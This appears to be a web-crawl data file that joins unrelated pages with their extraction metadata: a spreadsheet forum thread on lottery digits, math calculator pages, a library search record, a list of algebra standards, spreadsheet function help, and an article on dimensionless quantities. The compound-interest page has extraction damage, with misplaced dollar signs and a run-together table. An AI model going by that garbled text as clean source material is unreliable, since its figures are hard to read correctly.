"1. ## lottery 60/6\n\nIf you want a combination of 6 two-digit numbers, that is 12 digits. So let's assume that you want 4 times 0, 3 times 1, 2 times 9 and 3 times 5, that is 12 all together. Now you need to arrange them into pairs to make numbers. I think that it will be easier to compose numbers 0..59, instead of 1..60, so in the end, you take 0 (i.e. 00) for 60.\n0,0,0,0,1,1,1,5,5,5,9,9\nHere, you only have 10 digits (0, 1 and 5) which qualify for the first digit in numbers below 60. So you first choose 6 digits to take positions of the first digit in each number.\nFor a start, you choose a random number from 1..10. E.g. you get 5. You have digit 1 in the place number 5 (marked red), so you take it out. That will be the first digit of your first number. What is left is this:\n\n0,0,0,0,1,1,5,5,5,9,9\n\nNow choose a random number from 1..9. E.g., you get 3, where you find digit 0, so the first digit for the second number is 0. This is now left:\n\n0,0,0,1,1,5,5,5,9,9\n\nEtc. Let's say that you end up fith the following digits: 1,0,5,1,5,0\n\nSo, now you are left with a sequence:\n\n0,0,1,5,9,9\n\nFor the second digit, all digits qualify. So you now choose a random number from 1..6. E.g., you get 4, which gives you digit 5. Etc.\n\nLet's say that in the end, your second sequence is 5,0,1,9,0,9. This gives you your final combination:\n\n15,00,51,19,50,09\n\nThis one is OK, but it could happen that the same number appears twice, so you might need to swap the last digits of two numbers in the end.",
null,
"",
null,
"Reply With Quote\n\n2. Em H7 celular colocar a seguinte fórmula e arraste-o sobre a Q7 célula e para baixo, tanto quanto\n\nT7 celular colocar a seguinte fórmula e arraste-o para AC7 célula e para baixo, tanto quanto necessário.\n= LEN (H7)",
null,
"",
null,
"Reply With Quote\n\n3. Hello, I just need to activate the formula or make another",
null,
"",
null,
"Reply With Quote\n\n4. can help me please activate and put in ok planilia",
null,
"",
null,
"Reply With Quote\n\n5. or make a macro excel 2013!!?",
null,
"",
null,
"Reply With Quote\n\n6. In cell H7 put the following formula and drag it over to cell Q7 and down as far as needed.\n=REPT(H\\$5,12-LEN(SUBSTITUTE(RIGHT(\"00\"&\\$A7,2)&RIGHT(\"00\"&\\$B7,2)&RIGHT(\"00\"&\\$C7,2)&RIGHT(\"00\"&\\$D7,2)&RIGHT(\"00\"&\\$E7,2)&RIGHT(\"00\"&\\$F7,2),H\\$5,\"\")))\n\nIn cell T7 put the following formula and drag it over to cell AC7 and down as far as needed.\n=LEN(H7)",
null,
"",
null,
"Reply With Quote",
null,
"",
null,
"Reply With Quote"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7382873,"math_prob":0.9944207,"size":2475,"snap":"2021-43-2021-49","text_gpt3_token_len":825,"char_repetition_ratio":0.12019426,"word_repetition_ratio":0.2027972,"special_character_ratio":0.33050504,"punctuation_ratio":0.2074074,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9812027,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-18T10:20:15Z\",\"WARC-Record-ID\":\"<urn:uuid:92b4e6d9-3284-4392-9977-921027b86f54>\",\"Content-Length\":\"75903\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3339d535-1f7d-4aa0-b1a7-0720f04156e1>\",\"WARC-Concurrent-To\":\"<urn:uuid:4ac7a001-1db2-45c2-89bb-8912633e2634>\",\"WARC-IP-Address\":\"104.192.220.111\",\"WARC-Target-URI\":\"https://www.excelguru.ca/forums/showthread.php?3107-lottery-60-6\",\"WARC-Payload-Digest\":\"sha1:BLSFZ4EFL5NQYDUSB6L335ZELEVSEV4R\",\"WARC-Block-Digest\":\"sha1:64Z3KHPA7XY7MCBDWC3BX7JXPJFVD4Y7\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323585201.94_warc_CC-MAIN-20211018093606-20211018123606-00138.warc.gz\"}"} |
https://multiplyfractions.com/subtracting-fractions-61-by-78-and-6-by-45/ | [
"# Subtraction Fractions of 61/78 and 6/45\n\nOnline Subtracting Fractions Calculator subtracts the fractions 61/78 and 6/45 i.e. 253/390 difference between fractions.\n\nEx: 2/5-5/10 (or) 4/9-6/22 (or) 5/34-7/15\n\n -\n\n## Step by step solution for subtraction of fractions 61/78 and 6/45\n\nThe given fractions are 61/78 and 6/45\n\nFirstly the L.C.M should be done for the denominators of the two fractions 61/78 and 6/45\n\n61/78 - 6/45\n\nThe LCM of 78 and 45 (denominators of the fractions) is 1170\n 3 78, 45 26, 15\n\nSo the lcm of the given numbers is 3 x 26 x 15 = 1170\n\n= 61 x 15 - 6 x 26/1170\n\n= 915 - 156/1170\n\n= 759/1170\n\n= 253/390\n\nResult: 253/390\n\n### Subtracting Fractions Calculation Examples\n\nHere are some samples of Subtracting Fractions calculations.\n\n### FAQs on Subtraction Fractions of 61/78 and 6/45\n\n1. How do you subtract fractions 61/78 and 6/45 on a calculator?\n\nYou can subtract fractions 61/78 and 6/45 on the calculator by placing a \"-\"sign in between the numbers and clicking on the enter button.\n\n2. What is the subtraction of fractions 61/78 and 6/45?\n\nSubtraction of fractions 61/78 and 6/45 is 253/390 .\n\n3. How to do Subtractions of fractions 61/78 and 6/45 manually?\n\nYou can subtract the fractions 61/78 and 6/45 by taking the LCM of denominators, and then check for how many times go into the LCM and multiply both the numerators and denominators. Subtract the fractions and you will get the outcome."
] | [
null
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http://ixtrieve.fh-koeln.de/birds/litie/document/23477 | [
"# Document (#23477)\n\nAuthor\ntz\nTitle\nEnzyklopädie des 21. Jahrhunderts\nSource\nCD-Info. 2001, H.2, S.20\nYear\n2001\nAbstract\nRetrospect 2001 von Spiegel Online ist mit 8 CD-ROMs und einer DVD eines der vollständigsten Werke der Weltgeschichte der Jahre 1900 bis 2000\nContent\nLexikon, Enzyklopädie und Chronik in einem mit Film-, Bild- und Tondokumenten\nTheme\nInformationsmittel\nObject\nRetrospect 2001 (Spiegel Online)\n\n## Similar documents (content)\n\n1. ¬Der Digitale Peters : Arno Peters' synchronoptische Weltgeschichte (2010) 0.15\n```0.14551626 = sum of:\n0.14551626 = product of:\n0.6305705 = sum of:\n0.030934477 = weight(abstract_txt:einer in 1784) [ClassicSimilarity], result of:\n0.030934477 = score(doc=1784,freq=1.0), product of:\n0.08433489 = queryWeight, product of:\n1.0636004 = boost\n3.912589 = idf(docFreq=2279, maxDocs=41962)\n0.020265836 = queryNorm\n0.36680523 = fieldWeight in 1784, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n3.912589 = idf(docFreq=2279, maxDocs=41962)\n0.09375 = fieldNorm(doc=1784)\n0.10563956 = weight(abstract_txt:2000 in 1784) [ClassicSimilarity], result of:\n0.10563956 = score(doc=1784,freq=1.0), product of:\n0.1912478 = queryWeight, product of:\n1.6016701 = boost\n5.8919473 = idf(docFreq=314, maxDocs=41962)\n0.020265836 = queryNorm\n0.5523701 = fieldWeight in 1784, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.8919473 = idf(docFreq=314, maxDocs=41962)\n0.09375 = fieldNorm(doc=1784)\n0.49399644 = weight(abstract_txt:weltgeschichte in 1784) [ClassicSimilarity], result of:\n0.49399644 = score(doc=1784,freq=1.0), product of:\n0.534804 = queryWeight, product of:\n2.6783798 = boost\n9.85276 = idf(docFreq=5, maxDocs=41962)\n0.020265836 = queryNorm\n0.9236963 = fieldWeight in 1784, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n9.85276 = idf(docFreq=5, maxDocs=41962)\n0.09375 = fieldNorm(doc=1784)\n0.23076923 = coord(3/13)\n```\n2. Egel, J.R.: ¬Die Erde ist eine Scheibe : Was die vier am häufigsten verkauften Enzyklopädien auf CD-ROM bieten (2000) 0.14\n```0.13639265 = sum of:\n0.13639265 = product of:\n0.2955174 = sum of:\n0.020622985 = weight(abstract_txt:einer in 6916) [ClassicSimilarity], result of:\n0.020622985 = score(doc=6916,freq=4.0), product of:\n0.08433489 = queryWeight, product of:\n1.0636004 = boost\n3.912589 = idf(docFreq=2279, maxDocs=41962)\n0.020265836 = queryNorm\n0.24453682 = fieldWeight in 6916, product of:\n2.0 = tf(freq=4.0), with freq of:\n4.0 = termFreq=4.0\n3.912589 = idf(docFreq=2279, maxDocs=41962)\n0.03125 = fieldNorm(doc=6916)\n0.01670554 = weight(abstract_txt:eines in 6916) [ClassicSimilarity], result of:\n0.01670554 = score(doc=6916,freq=1.0), product of:\n0.11633219 = queryWeight, product of:\n1.2491794 = boost\n4.595265 = idf(docFreq=1151, maxDocs=41962)\n0.020265836 = queryNorm\n0.14360203 = fieldWeight in 6916, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n4.595265 = idf(docFreq=1151, maxDocs=41962)\n0.03125 = fieldNorm(doc=6916)\n0.03226909 = weight(abstract_txt:jahre in 6916) [ClassicSimilarity], result of:\n0.03226909 = score(doc=6916,freq=1.0), product of:\n0.18043359 = queryWeight, product of:\n1.5557276 = boost\n5.7229414 = idf(docFreq=372, maxDocs=41962)\n0.020265836 = queryNorm\n0.17884192 = fieldWeight in 6916, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.7229414 = idf(docFreq=372, maxDocs=41962)\n0.03125 = fieldNorm(doc=6916)\n0.06766101 = weight(abstract_txt:2001 in 6916) [ClassicSimilarity], result of:\n0.06766101 = score(doc=6916,freq=3.0), product of:\n0.20494853 = queryWeight, product of:\n1.6580486 = boost\n6.0993423 = idf(docFreq=255, maxDocs=41962)\n0.020265836 = queryNorm\n0.3301366 = fieldWeight in 6916, product of:\n1.7320508 = tf(freq=3.0), with freq of:\n3.0 = termFreq=3.0\n6.0993423 = idf(docFreq=255, maxDocs=41962)\n0.03125 = fieldNorm(doc=6916)\n0.09231317 = weight(abstract_txt:enzyklopädie in 6916) [ClassicSimilarity], result of:\n0.09231317 = score(doc=6916,freq=2.0), product of:\n0.28859714 = queryWeight, product of:\n1.9675277 = boost\n7.2378006 = idf(docFreq=81, maxDocs=41962)\n0.020265836 = queryNorm\n0.31986862 = fieldWeight in 6916, product of:\n1.4142135 = tf(freq=2.0), with freq of:\n2.0 = termFreq=2.0\n7.2378006 = idf(docFreq=81, maxDocs=41962)\n0.03125 = fieldNorm(doc=6916)\n0.06594563 = weight(abstract_txt:werke in 6916) [ClassicSimilarity], result of:\n0.06594563 = score(doc=6916,freq=1.0), product of:\n0.29056966 = queryWeight, product of:\n1.9742402 = boost\n7.262493 = idf(docFreq=79, maxDocs=41962)\n0.020265836 = queryNorm\n0.22695291 = fieldWeight in 6916, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n7.262493 = idf(docFreq=79, maxDocs=41962)\n0.03125 = fieldNorm(doc=6916)\n0.46153846 = coord(6/13)\n```\n3. Kürschners Deutscher Gelehrten-Kalender 2003 : Bio-bibliographisches Verzeichnis deutschsprachiger Wissenschaftler der Gegenwart. 3 Bde.: Geistes- und Sozialwissenschaften - Medizin - Naturwissenschaften - Technik (2002) 0.13\n```0.13104685 = sum of:\n0.13104685 = product of:\n0.42590225 = sum of:\n0.020622985 = weight(abstract_txt:einer in 2224) [ClassicSimilarity], result of:\n0.020622985 = score(doc=2224,freq=1.0), product of:\n0.08433489 = queryWeight, product of:\n1.0636004 = boost\n3.912589 = idf(docFreq=2279, maxDocs=41962)\n0.020265836 = queryNorm\n0.24453682 = fieldWeight in 2224, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n3.912589 = idf(docFreq=2279, maxDocs=41962)\n0.0625 = fieldNorm(doc=2224)\n0.078128204 = weight(abstract_txt:2001 in 2224) [ClassicSimilarity], result of:\n0.078128204 = score(doc=2224,freq=1.0), product of:\n0.20494853 = queryWeight, product of:\n1.6580486 = boost\n6.0993423 = idf(docFreq=255, maxDocs=41962)\n0.020265836 = queryNorm\n0.3812089 = fieldWeight in 2224, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n6.0993423 = idf(docFreq=255, maxDocs=41962)\n0.0625 = fieldNorm(doc=2224)\n0.13189127 = weight(abstract_txt:werke in 2224) [ClassicSimilarity], result of:\n0.13189127 = score(doc=2224,freq=1.0), product of:\n0.29056966 = queryWeight, product of:\n1.9742402 = boost\n7.262493 = idf(docFreq=79, maxDocs=41962)\n0.020265836 = queryNorm\n0.45390582 = fieldWeight in 2224, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n7.262493 = idf(docFreq=79, maxDocs=41962)\n0.0625 = fieldNorm(doc=2224)\n0.19525981 = weight(abstract_txt:spiegel in 2224) [ClassicSimilarity], result of:\n0.19525981 = score(doc=2224,freq=1.0), product of:\n0.3774402 = queryWeight, product of:\n2.250085 = boost\n8.277224 = idf(docFreq=28, maxDocs=41962)\n0.020265836 = queryNorm\n0.5173265 = fieldWeight in 2224, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n8.277224 = idf(docFreq=28, maxDocs=41962)\n0.0625 = fieldNorm(doc=2224)\n0.30769232 = coord(4/13)\n```\n4. Zwar, A.; Hess, W.: Brockhaus: Zum 200. die 21. (2004) 0.12\n```0.12444905 = sum of:\n0.12444905 = product of:\n0.5392792 = sum of:\n0.051557466 = weight(abstract_txt:einer in 2447) [ClassicSimilarity], result of:\n0.051557466 = score(doc=2447,freq=1.0), product of:\n0.08433489 = queryWeight, product of:\n1.0636004 = boost\n3.912589 = idf(docFreq=2279, maxDocs=41962)\n0.020265836 = queryNorm\n0.6113421 = fieldWeight in 2447, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n3.912589 = idf(docFreq=2279, maxDocs=41962)\n0.15625 = fieldNorm(doc=2447)\n0.16134545 = weight(abstract_txt:jahre in 2447) [ClassicSimilarity], result of:\n0.16134545 = score(doc=2447,freq=1.0), product of:\n0.18043359 = queryWeight, product of:\n1.5557276 = boost\n5.7229414 = idf(docFreq=372, maxDocs=41962)\n0.020265836 = queryNorm\n0.8942096 = fieldWeight in 2447, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.7229414 = idf(docFreq=372, maxDocs=41962)\n0.15625 = fieldNorm(doc=2447)\n0.32637632 = weight(abstract_txt:enzyklopädie in 2447) [ClassicSimilarity], result of:\n0.32637632 = score(doc=2447,freq=1.0), product of:\n0.28859714 = queryWeight, product of:\n1.9675277 = boost\n7.2378006 = idf(docFreq=81, maxDocs=41962)\n0.020265836 = queryNorm\n1.1309063 = fieldWeight in 2447, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n7.2378006 = idf(docFreq=81, maxDocs=41962)\n0.15625 = fieldNorm(doc=2447)\n0.23076923 = coord(3/13)\n```\n5. Hirsch, H.: Datenbanken für professionelle Nutzer : ein Check der Preispolitik im sommer 2003 (2003) 0.12\n```0.11896161 = sum of:\n0.11896161 = product of:\n0.30930018 = sum of:\n0.034280412 = weight(abstract_txt:online in 3011) [ClassicSimilarity], result of:\n0.034280412 = score(doc=3011,freq=4.0), product of:\n0.07455045 = queryWeight, product of:\n3.678627 = idf(docFreq=2880, maxDocs=41962)\n0.020265836 = queryNorm\n0.45982838 = fieldWeight in 3011, product of:\n2.0 = tf(freq=4.0), with freq of:\n4.0 = termFreq=4.0\n3.678627 = idf(docFreq=2880, maxDocs=41962)\n0.0625 = fieldNorm(doc=3011)\n0.020622985 = weight(abstract_txt:einer in 3011) [ClassicSimilarity], result of:\n0.020622985 = score(doc=3011,freq=1.0), product of:\n0.08433489 = queryWeight, product of:\n1.0636004 = boost\n3.912589 = idf(docFreq=2279, maxDocs=41962)\n0.020265836 = queryNorm\n0.24453682 = fieldWeight in 3011, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n3.912589 = idf(docFreq=2279, maxDocs=41962)\n0.0625 = fieldNorm(doc=3011)\n0.09127076 = weight(abstract_txt:jahre in 3011) [ClassicSimilarity], result of:\n0.09127076 = score(doc=3011,freq=2.0), product of:\n0.18043359 = queryWeight, product of:\n1.5557276 = boost\n5.7229414 = idf(docFreq=372, maxDocs=41962)\n0.020265836 = queryNorm\n0.5058413 = fieldWeight in 3011, product of:\n1.4142135 = tf(freq=2.0), with freq of:\n2.0 = termFreq=2.0\n5.7229414 = idf(docFreq=372, maxDocs=41962)\n0.0625 = fieldNorm(doc=3011)\n0.070426375 = weight(abstract_txt:2000 in 3011) [ClassicSimilarity], result of:\n0.070426375 = score(doc=3011,freq=1.0), product of:\n0.1912478 = queryWeight, product of:\n1.6016701 = boost\n5.8919473 = idf(docFreq=314, maxDocs=41962)\n0.020265836 = queryNorm\n0.3682467 = fieldWeight in 3011, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.8919473 = idf(docFreq=314, maxDocs=41962)\n0.0625 = fieldNorm(doc=3011)\n0.092699654 = weight(abstract_txt:roms in 3011) [ClassicSimilarity], result of:\n0.092699654 = score(doc=3011,freq=1.0), product of:\n0.22969858 = queryWeight, product of:\n1.7553108 = boost\n6.457134 = idf(docFreq=178, maxDocs=41962)\n0.020265836 = queryNorm\n0.40357086 = fieldWeight in 3011, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n6.457134 = idf(docFreq=178, maxDocs=41962)\n0.0625 = fieldNorm(doc=3011)\n0.3846154 = coord(5/13)\n```"
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https://www.usatestprep.com/oh/ogt-practice-online-review/algebra-i-eoc-ccrs-test/ | [
"# Algebra I (OLS) Practice\n\n« Back to Ohio High School\nDiscover the most effective and comprehensive online solution for curriculum mastery, high-stakes testing, and assessment in . Our Algebra I (OLS) curriculum and test review is aligned to the most current standards.\n\nSee Pricing Get a Quote\n\n• Questions 5,541\n• Vocabulary Terms 245\n• Instructional Videos 150\n\n### Test Standards\n\n1. (N.Q.1) Use units\n2. (N.Q.2) Define quantities\n3. (N.Q.3) Accuracy\n4. (A.APR.1) Polynomials form\n5. (A.SSE.1a) Interpret parts\n6. (A.SSE.1b) Interpret complicated expressions\n7. (A.SSE.2) Expression structure\n9. (A.SSE.3b) Complete square\n10. (A.SSE.3c) Transform exponentials\n11. (A.CED.1) Equations and inequalities\n12. (A.CED.2) Create equations\n13. (A.CED.3) Represent constraints\n14. (A.CED.4) Rearrange formulas\n15. (A.REI.1) Explain steps in solving simple equation\n16. (A.REI.3) Solve equations & inequalities\n17. (A.REI.4a) Completing the square\n19. (A.REI.7) Nonlinear system\n1. (N.RN.1) Rational exponents\n2. (N.RN.2) Radicals and rational exponents\n3. (N.RN.3) Closure\n4. (A.REI.5) Same solutions\n5. (A.REI.6) Solve systems of linear equations\n6. (A.REI.10) Equation graphs\n7. (A.REI.11) Intersections are solutions\n8. (A.REI.12) Graph solutions\n9. (F.IF.1 ) Element of range\n10. (F.IF.2) Function notation\n11. (F.IF.3) Sequences are functions\n12. (F.IF.4) Function models relationship\n13. (F.IF.5) Relate domain\n14. (F.IF.6) Rate of change\n15. (F.IF.7a) Graph linear & quadratic functions\n16. (F.IF.7e) Graph exponential & logarithmic functions\n18. (F.IF.9) Compare properties\n19. (F.BF.1a) Determine an explicit expression\n20. (F.BF.1b) Combine functions\n21. (F.BF.2) Write sequences\n22. (F.BF.3 ) Transformations of graphs\n23. (F.LE.1a) Functions growth\n24. (F.LE.1b) Recognize situations\n25. (F.LE.1c) Quantity grows\n26. (F.LE.2) Construct functions\n27. (F.LE.3) Exponential increase\n28. (F.LE.5) Interpret parameters\n1. (S.ID.1) Data Plots\n2. (S.ID.2) Data Distribution\n3. (S.ID.3) Interpret Differences\n4. (S.ID.5) Categorical Data\n5. (S.ID.6a) Fit Function\n6. (S.ID.6b) Assess Fit\n7. (S.ID.6c) Fit Linear Function\n8. (S.ID.7) Slope and Intercept\n9. (S.ID.8) Correlation Coefficient\n10. (S.ID.9) Correlation and causation"
] | [
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https://tools.carboncollective.co/compound-interest/41727-at-19-percent-in-23-years/ | [
"# What is the compound interest on $41727 at 19% over 23 years? If you want to invest$41,727 over 23 years, and you expect it will earn 19.00% in annual interest, your investment will have grown to become $2,280,327.76. If you're on this page, you probably already know what compound interest is and how a sum of money can grow at a faster rate each year, as the interest is added to the original principal amount and recalculated for each period. The actual rate that$41,727 compounds at is dependent on the frequency of the compounding periods. In this article, to keep things simple, we are using an annual compounding period of 23 years, but it could be monthly, weekly, daily, or even continuously compounding.\n\nThe formula for calculating compound interest is:\n\n$$A = P(1 + \\dfrac{r}{n})^{nt}$$\n\n• A is the amount of money after the compounding periods\n• P is the principal amount\n• r is the annual interest rate\n• n is the number of compounding periods per year\n• t is the number of years\n\nWe can now input the variables for the formula to confirm that it does work as expected and calculates the correct amount of compound interest.\n\nFor this formula, we need to convert the rate, 19.00% into a decimal, which would be 0.19.\n\n$$A = 41727(1 + \\dfrac{ 0.19 }{1})^{ 23}$$\n\nAs you can see, we are ignoring the n when calculating this to the power of 23 because our example is for annual compounding, or one period per year, so 23 × 1 = 23.\n\n## How the compound interest on $41,727 grows over time The interest from previous periods is added to the principal amount, and this grows the sum a rate that always accelerating. The table below shows how the amount increases over the 23 years it is compounding: Start Balance Interest End Balance 1$41,727.00 $7,928.13$49,655.13\n2 $49,655.13$9,434.47 $59,089.60 3$59,089.60 $11,227.02$70,316.63\n4 $70,316.63$13,360.16 $83,676.79 5$83,676.79 $15,898.59$99,575.38\n6 $99,575.38$18,919.32 $118,494.70 7$118,494.70 $22,513.99$141,008.69\n8 $141,008.69$26,791.65 $167,800.35 9$167,800.35 $31,882.07$199,682.41\n10 $199,682.41$37,939.66 $237,622.07 11$237,622.07 $45,148.19$282,770.26\n12 $282,770.26$53,726.35 $336,496.61 13$336,496.61 $63,934.36$400,430.97\n14 $400,430.97$76,081.88 $476,512.86 15$476,512.86 $90,537.44$567,050.30\n16 $567,050.30$107,739.56 $674,789.85 17$674,789.85 $128,210.07$802,999.93\n18 $802,999.93$152,569.99 $955,569.91 19$955,569.91 $181,558.28$1,137,128.20\n20 $1,137,128.20$216,054.36 $1,353,182.55 21$1,353,182.55 $257,104.69$1,610,287.24\n22 $1,610,287.24$305,954.58 $1,916,241.81 23$1,916,241.81 $364,085.94$2,280,327.76\n\nWe can also display this data on a chart to show you how the compounding increases with each compounding period.\n\nAs you can see if you view the compounding chart for $41,727 at 19.00% over a long enough period of time, the rate at which it grows increases over time as the interest is added to the balance and new interest calculated from that figure. ## How long would it take to double$41,727 at 19% interest?\n\nAnother commonly asked question about compounding interest would be to calculate how long it would take to double your investment of $41,727 assuming an interest rate of 19.00%. We can calculate this very approximately using the Rule of 72. The formula for this is very simple: $$Years = \\dfrac{72}{Interest\\: Rate}$$ By dividing 72 by the interest rate given, we can calculate the rough number of years it would take to double the money. Let's add our rate to the formula and calculate this: $$Years = \\dfrac{72}{ 19 } = 3.79$$ Using this, we know that any amount we invest at 19.00% would double itself in approximately 3.79 years. So$41,727 would be worth $83,454 in ~3.79 years. We can also calculate the exact length of time it will take to double an amount at 19.00% using a slightly more complex formula: $$Years = \\dfrac{log(2)}{log(1 + 0.19)} = 3.98\\; years$$ Here, we use the decimal format of the interest rate, and use the logarithm math function to calculate the exact value. As you can see, the exact calculation is very close to the Rule of 72 calculation, which is much easier to remember. Hopefully, this article has helped you to understand the compound interest you might achieve from investing$41,727 at 19.00% over a 23 year investment period."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9092844,"math_prob":0.9991118,"size":4322,"snap":"2023-14-2023-23","text_gpt3_token_len":1404,"char_repetition_ratio":0.13617416,"word_repetition_ratio":0.014641289,"special_character_ratio":0.43660343,"punctuation_ratio":0.20798515,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99990034,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-05-28T13:13:38Z\",\"WARC-Record-ID\":\"<urn:uuid:106b887d-33bf-4eca-8151-91061a3e3e30>\",\"Content-Length\":\"28857\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:37b432d0-9212-431c-b1b5-68431c9339f2>\",\"WARC-Concurrent-To\":\"<urn:uuid:add24c7a-f7be-4878-8a17-2da26c88cc74>\",\"WARC-IP-Address\":\"138.197.3.89\",\"WARC-Target-URI\":\"https://tools.carboncollective.co/compound-interest/41727-at-19-percent-in-23-years/\",\"WARC-Payload-Digest\":\"sha1:5IKNJ4GYWTM3CD3J2CEQU5HMXOVD47C7\",\"WARC-Block-Digest\":\"sha1:J5K2TY2HCTOM43M54QPF5C2JTJNL4IEP\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224643784.62_warc_CC-MAIN-20230528114832-20230528144832-00116.warc.gz\"}"} |
https://support.google.com/docs/answer/3093436 | [
"# QUOTIENT function\n\nReturns one number divided by another, without the remainder.\n\n### Sample Usage\n\n`QUOTIENT(4,2)`\n\n`QUOTIENT(A2,B2)`\n\n### Syntax\n\n`QUOTIENT(dividend, divisor)`\n\n• `dividend` - The number to be divided.\n\n• `divisor` - The number to divide by (cannot equal `0`).\n\n### Notes\n\n• `QUOTIENT` performs a division, but will only return the quotient and not the remainder. To see the full result (quotient and remainder), use the `DIVIDE` function or the '/' operator.\n\n`SUM`: Returns the sum of a series of numbers and/or cells.\n\n`PRODUCT`: Returns the result of multiplying a series of numbers together.\n\n`MULTIPLY`: Returns the product of two numbers. Equivalent to the `*` operator.\n\n`MINUS`: Returns the difference of two numbers. Equivalent to the `-` operator.\n\n`DIVIDE`: Returns one number divided by another. Equivalent to the `/` operator.\n\n`ADD`: Returns the sum of two numbers. Equivalent to the `+` operator."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7602335,"math_prob":0.95302117,"size":883,"snap":"2019-51-2020-05","text_gpt3_token_len":220,"char_repetition_ratio":0.17178611,"word_repetition_ratio":0.0729927,"special_character_ratio":0.22989808,"punctuation_ratio":0.16463415,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9992286,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-12-14T05:22:12Z\",\"WARC-Record-ID\":\"<urn:uuid:23dba013-c74e-4ba0-91e4-1ec8ae8544db>\",\"Content-Length\":\"465415\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:97c4a1f7-5c10-4b0c-b53b-2f7d4920bf06>\",\"WARC-Concurrent-To\":\"<urn:uuid:9e58ce1c-ab4a-48a3-af80-1c83777cff06>\",\"WARC-IP-Address\":\"172.217.9.206\",\"WARC-Target-URI\":\"https://support.google.com/docs/answer/3093436\",\"WARC-Payload-Digest\":\"sha1:YWNBUCDDO4JJCFQBBLX5SKTYMGOHMWSU\",\"WARC-Block-Digest\":\"sha1:CFCU76DEEYZJIFPLQPHECW4V7EVCIAWA\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-51/CC-MAIN-2019-51_segments_1575540584491.89_warc_CC-MAIN-20191214042241-20191214070241-00383.warc.gz\"}"} |
https://infogalactic.com/info/Unitless | [
"# Dimensionless quantity\n\n(Redirected from Unitless)\n\nIn dimensional analysis, a dimensionless quantity is a quantity to which no physical dimension is applicable. It is thus a bare number, and is therefore also known as a quantity of dimension one. Dimensionless quantities are widely used in many fields, such as mathematics, physics, engineering, and economics. Numerous well-known quantities, such as π, e, and φ, are dimensionless. By contrast, examples of quantities with dimensions are length, time, and speed, which are measured in dimensional units, such as meter, second and meter/second.\n\nDimensionless quantities are often obtained as products or ratios of quantities that are not dimensionless, but whose dimensions cancel in the mathematical operation. This is the case, for instance, with the engineering strain, a measure of deformation. It is defined as change in length, divided by initial length, but because these quantities both have dimensions L (length), the result is a dimensionless quantity.\n\n## Properties\n\nAll pure numbers are dimensionless quantities.\n\nA dimensionless quantity may have dimensionless units, even though it has no physical dimension associated with it. For example, to show the quantity being measured (for example mass fraction or mole fraction), it is sometimes helpful to use the same units in both the numerator and denominator (kg/kg or mol/mol). The quantity may also be given as a ratio of two different units that have the same dimension (for instance, light years over meters). This may be the case when calculating slopes in graphs, or when making unit conversions. Such notation does not indicate the presence of physical dimensions, and is purely a notational convention. Other common dimensionless units are % (= 0.01), (= 0.001), ppm (= 10−6), ppb (= 10−9), ppt (= 10−12), angle units (degrees, radians, grad), dalton and mole. Units of number such as the dozen, gross, and googol are also dimensionless.\n\nWhen a quantity is the ratio of two other quantities, each of the same dimension, the defined quantity is dimensionless and has the same value regardless of the units used to calculate the two composing quantities. For instance, if body A exerts a force of magnitude F on body B, and B exerts a force of magnitude f on A, then the ratio F/f is always equal to 1, regardless of the actual units used to measure F and f. This is a fundamental property of dimensionless proportions and follows from the assumption that the laws of physics are independent of the system of units used in their expression. In this case, if the ratio F/f was not always equal to 1, but changed if one switched from SI to CGS, that would mean that Newton's Third Law's truth or falsity would depend on the system of units used, which would contradict this fundamental hypothesis. This assumption that the laws of physics are not contingent upon a specific unit system is the basis for the Buckingham π theorem, as discussed in a later section.\n\n## Examples\n\nThere are many areas where dimensionless quantities are used. Some quantities are given here to illustrate the properties more concretely in their respective areas of application. The list of dimensionless quantities contains an extensive number of other important examples.\n\n### 